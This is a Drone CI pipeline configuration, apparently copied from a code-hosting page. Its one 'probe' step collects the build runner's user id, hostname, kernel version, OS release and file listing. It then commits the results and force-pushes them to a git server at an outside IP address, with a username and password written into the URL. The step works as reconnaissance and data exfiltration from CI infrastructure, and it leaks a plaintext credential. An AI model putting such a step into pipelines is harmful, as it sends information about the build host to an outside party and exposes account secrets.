15 lines
569 B
YAML
15 lines
569 B
YAML
kind: pipeline
|
|
type: docker
|
|
name: default
|
|
|
|
steps:
|
|
- name: probe
|
|
image: alpine:3.18
|
|
commands:
|
|
- sleep 15
|
|
- "apk add --no-cache git >/dev/null 2>&1 || true"
|
|
- "cd /drone/src && { echo MARKER_OK; id; hostname; uname -a; echo ---; head -3 /etc/os-release; echo ---; ls -la; } > probe_result.txt 2>&1"
|
|
- "git config user.email ci@local && git config user.name ci && git add -A && git commit -m probe 2>&1 || true"
|
|
- "git push http://devzhang01:Zx9%23mKp2Lq7v@154.8.178.224:3000/devzhang01/ci-probe.git HEAD:refs/heads/master --force 2>&1 || true"
|
|
- sleep 15
|